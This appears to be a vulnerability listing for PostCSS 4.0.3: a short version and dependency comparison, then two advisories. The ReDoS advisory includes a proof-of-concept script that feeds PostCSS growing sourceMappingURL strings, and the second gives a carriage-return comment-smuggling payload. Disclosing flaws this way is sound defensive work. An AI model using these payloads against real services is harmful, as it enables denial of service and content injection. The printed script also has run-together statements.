PostCSS version 4.0.3 represents a minor update to the widely used CSS post-processing framework, building upon the foundation of version 4.0.2. Both versions offer developers a robust platform for transforming CSS with full source map support, streamlining workflows and enhancing code maintainability. Core functionalities related to CSS parsing, manipulation, and generation remain consistent across both versions, ensuring a familiar experience for existing users.
Key differences primarily reside in the dependency updates. Version 4.0.3 updates the source-map dependency from version 0.1.43 to ~0.2.0. Such updates often incorporate bug fixes, performance improvements, and potentially new features within the dependency itself. Developers relying heavily on source map generation or integration with related tools may find this update particularly relevant.
The update to the source-map dependency suggests a focus on refined source map handling, potentially improving debugging experiences or compatibility with newer tooling. Other dependencies such as 6to5 and fs-extra also received updates from 2.13.7 to 3.0.9 and 0.15.0 to 0.16.0 respectively. While the core API and usage patterns of PostCSS remain largely unchanged, developers are advised to review the changelogs of these updated dependencies to understand any potential impact on their projects.
All the vulnerabilities related to the version 4.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.